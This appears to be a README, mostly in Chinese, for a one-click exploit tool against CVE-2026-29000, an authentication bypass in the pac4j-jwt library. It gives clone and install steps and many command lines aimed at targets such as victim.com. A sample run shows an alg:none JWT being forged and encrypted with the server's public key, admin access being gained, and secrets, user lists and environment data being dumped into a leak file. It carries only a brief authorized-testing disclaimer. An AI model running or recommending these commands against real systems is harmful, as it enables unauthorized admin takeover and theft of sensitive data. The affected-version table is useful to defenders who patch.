CVE-2026-29000 - 通过 JWT alg:none + JWE 加密实现一键管理员伪造
此漏洞利用工具武器化了 CVE-2026-29000,这是 pac4j-jwt 库中的一个 CVSS 10.0 严重漏洞。通过提取服务器的公共 JWKS 密钥并伪造一个使用 alg: none 的加密 JWE 令牌,它实现了完全的身份验证绕过,并一键授予完整的管理员权限。
alg:none JWT,并用服务器自身的公钥进行封装| 库 | 受影响版本 | 修复版本 |
|---|---|---|
| pac4j-jwt | < 5.1.5 | ≥ 5.1.5 |
| pac4j-jwt | 4.x < 4.5.8 | ≥ 4.5.8 |
| pac4j-jwt | 3.x < 3.18.6 | ≥ 3.18.6 |
[!] 免责声明:此工具仅用于授权的安全测试和红队演练。
git clone https://github.com/tc4dy/CVE-2026-29000-PoC-Exploit.git
cd CVE-2026-29000-PoC-Exploit
pip install -r requirements.txt
python exploit.py --help
requests>=2.31.0
urllib3>=2.0.0
pyjwt>=2.8.0
cryptography>=41.0.0
jwcrypto>=1.5.0
colorama>=0.4.6
基础一次性利用
python exploit.py --target https://victim.com:8443
Save Forged Token + Leak Data
bash
python exploit.py -t https://target.corp:9443 -o admin.jwe -l stolen.txt
Verbose Mode with Custom JWKS
bash
python exploit.py -t https://example.com:8080 --jwks /oauth/jwks.json -v
With Proxy and No Keep-Alive
bash
python exploit.py -t https://192.168.1.100:443 --proxy http://127.0.0.1:8080 --no-keep-alive
Custom Keep-Alive Interval
bash
python exploit.py -t https://victim.com:8443 --delay 10 --max-retries 5
SSL Verification Enabled
python exploit.py -t https://legit.com:8443 --ssl-verify
参数 短参数 必需 默认值 描述 --target -t 是 - 目标 URL(例如 https://example.com:8443) --jwks -k 否 自动检测 自定义 JWKS 端点路径 --output -o 否 无 将伪造的 JWE 令牌保存到文件 --leak -l 否 leaked_TIMESTAMP.txt 将泄露的数据保存到文件 --verbose -v 否 False 启用调试输出 --proxy -p 否 无 HTTP/HTTPS 代理 --user-agent -ua 否 Mozilla/5.0... 自定义 User-Agent --no-keep-alive - 否 False 禁用会话保持连接 --delay - 否 5.0 保持连接 ping 间隔(秒) --max-retries - 否 3 每个失败请求的最大重试次数 --ssl-verify - 否 False 验证 SSL 证书
$ python exploit.py -t https://10.10.10.100:8443 -o backdoor.jwe -l leak.txt
════════════════════════════════════════════════════════════════
CVE-2026-29000 - pac4j-jwt Authentication Bypass Exploit
The Educational One‑Click Admin Forge
CVSS 10.0 - CRITICAL
════════════════════════════════════════════════════════════════
[11:23:15] 阶段 1:从 JWKS 获取 RSA 公钥 [11:23:15] 正在探测 JWKS 端点... [11:23:16] 在 /realms/master/protocol/openid-connect/certs 找到 JWKS [11:23:16] 成功提取 RSA 公钥
[11:23:16] 阶段 2:使用 alg:none 构造 JWT 并加密为 JWE [11:23:16] 已伪造 JWE 令牌(截断):eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0... [11:23:16] ✓ 令牌已保存至 backdoor.jwe
[11:23:16] 阶段 3:将伪造的 JWE 作为 Bearer 令牌发送 [11:23:17] ✓ 认证成功!已获得 /api/users/me 的访问权限
[11:23:17] 阶段 4:枚举可访问端点并泄露敏感数据 [11:23:18] ✓ 已泄露:/actuator/env(状态 200) [11:23:18] ✓ 已泄露:/api/users(状态 200) [11:23:18] ✓ 已泄露:/api/secrets(状态 200) [11:23:18] ✓ 已泄露:/config/server(状态 200) [11:23:18] ✓ 已捕获 4 个敏感端点 → 已保存至 leak.txt
[11:23:18] 保活会话已激活(按 Ctrl+C 停止) [11:23:18] 令牌(JWE)有效期约 1 小时 – 若已过期请重新伪造
查看我的其他漏洞利用仓库: